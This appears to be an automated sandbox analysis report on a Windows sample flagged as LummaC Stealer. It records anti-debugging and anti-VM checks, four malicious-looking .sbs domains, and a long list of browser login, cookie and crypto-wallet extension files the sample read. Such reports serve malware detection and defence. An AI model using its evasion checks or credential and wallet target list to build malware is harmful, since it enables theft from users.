Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D001F6 second address: 4D0026D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, di 0x00000006 mov eax, edi 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b je 00007F5C289E2EC8h 0x00000011 pushad 0x00000012 pushad 0x00000013 pushad 0x00000014 popad 0x00000015 pushad 0x00000016 popad 0x00000017 popad 0x00000018 pushad 0x00000019 pushfd 0x0000001a jmp 00007F5C289E2D1Fh 0x0000001f and ecx, 29D3EB7Eh 0x00000025 jmp 00007F5C289E2D29h 0x0000002a popfd 0x0000002b jmp 00007F5C289E2D20h 0x00000030 popad 0x00000031 popad 0x00000032 lea ecx, dword ptr [ebp-14h] 0x00000035 jmp 00007F5C289E2D20h 0x0000003a mov dword ptr [ebp-14h], edi 0x0000003d push eax 0x0000003e push edx 0x0000003f push eax 0x00000040 push edx 0x00000041 pushad 0x00000042 popad 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D0026D second address: 4D00273 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D0028D second address: 4D00291 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D00291 second address: 4D00297 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D002D9 second address: 4D002DF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D002DF second address: 4D002E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D002E5 second address: 4D002E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D002E9 second address: 4D00300 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 test eax, eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F5C287768DBh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D00300 second address: 4D00306 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D00306 second address: 4D00322 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5C287768DBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jg 00007F5C99694A4Bh 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D00322 second address: 4D00345 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007F5C289E2D21h 0x0000000a jmp 00007F5C289E2D1Bh 0x0000000f popfd 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D00345 second address: 4D0037D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, ebx 0x00000005 jmp 00007F5C287768DBh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d js 00007F5C28776931h 0x00000013 jmp 00007F5C287768E6h 0x00000018 cmp dword ptr [ebp-14h], edi 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: F40ABD instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: F40B2D instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 10E579A instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 1110FA8 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 628CE6A instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 6053161 instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_061E3F02 rdtsc

0_2_061E3F02

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_061DEE95 sidt fword ptr [esp-02h]

0_2_061DEE95

Source: C:\Users\user\Desktop\file.exe TID: 7532

Thread sleep time: -180000s >= -30000s

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: file.exe, file.exe, 00000000.00000002.2047527139.00000000010C7000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2050931959.00000000061D5000.00000040.00000800.00020000.00000000.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000002.2050130466.00000000056FC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: file.exe, 00000000.00000002.2046786098.0000000000A88000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1946065957.0000000000A8A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2046786098.0000000000A59000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000002.2046786098.0000000000A88000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\<_$
Source: file.exe, 00000000.00000002.2047527139.00000000010C7000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2050931959.00000000061D5000.00000040.00000800.00020000.00000000.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: file.exe, 00000000.00000002.2050130466.00000000056FC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}V

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger			Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_061E3F02 rdtsc

0_2_061E3F02

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_061DFE96 LdrInitializeThunk,

0_2_061DFE96

HIPS / PFW / Operating System Protection Evasion

LummaC encrypted strings found

Source: file.exe	String found in binary or memory: 300snails.sbs
Source: file.exe	String found in binary or memory: faintbl0w.sbs
Source: file.exe	String found in binary or memory: 3xc1aimbl0w.sbs
Source: file.exe	String found in binary or memory: thicktoys.sbs

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0			Jump to behavior

Source: file.exe, file.exe, 00000000.00000002.2047527139.00000000010C7000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: dProgram Manager
Source: file.exe, file.exe, 00000000.00000002.2050931959.00000000061D5000.00000040.00000800.00020000.00000000.sdmp	Binary or memory string: Program Manager

Source: C:\Users\user\Desktop\file.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: file.exe, 00000000.00000003.1883879838.0000000000AFF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1821714308.0000000000AF8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %\Windows Defender\MsMpeng.exe
Source: file.exe, 00000000.00000003.1811594285.0000000000B06000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\file.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: file.exe PID: 7416, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
